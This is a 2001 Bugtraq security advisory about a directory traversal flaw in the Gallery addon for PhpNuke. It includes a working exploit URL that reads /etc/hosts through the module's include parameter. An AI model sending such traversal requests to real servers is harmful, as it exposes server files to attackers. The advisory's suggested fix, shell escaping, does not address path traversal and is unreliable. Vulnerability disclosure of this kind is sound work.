[23185] in bugtraq
Gallery Addon for PhpNuke remote file viewing vulnerability
daemon@ATHENA.MIT.EDU (=?iso-8859-1?Q?Cabezon_Aur=E9lien?)
Mon Nov 19 16:29:53 2001
Message-ID: <004001c16fd7$6aeb45a0$c5cf80d9@London>
From: =?iso-8859-1?Q?Cabezon_Aur=E9lien?= <aurelien.cabezon@isecurelabs.com>
To: <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>
Date: Sun, 18 Nov 2001 03:18:26 +0100
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Gallery Addon for PhpNuke remote file viewing vulnerability
Problem discovered: 18/10/2001 by Cabezon Aurélien |
aurelien.cabezon@iSecureLabs.com
[1] Description
Gallery is an intuitive web based photo gallery with authenticated users and
privileged albums.
Photo management includes automatic thumbnails, resizing, rotation, etc.
Gallery is available as a Nuke 5.0 module.
Gallery Addon is vulnerable to the ../.. bug that allow remote file reading
on the web server as whatever
user runs the web server.
[2] Exploit
http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&
name=gallery&file=index&inclu
de=../../../../../../etc/hosts
[3] Fix
Coder has been alerted.
An easy way to fix such a vulnerability is to use the PHP included "system
escapeshell" function.
[4] Informations bout Gallery Addon for PhpNuke
http://www.menalto.com/projects/gallery-nuke/
Author: bharat@menalto.com
---
Cabezon Aurélien
http://www.iSecureLabs.com
aurelien.cabezon@iSecureLabs.
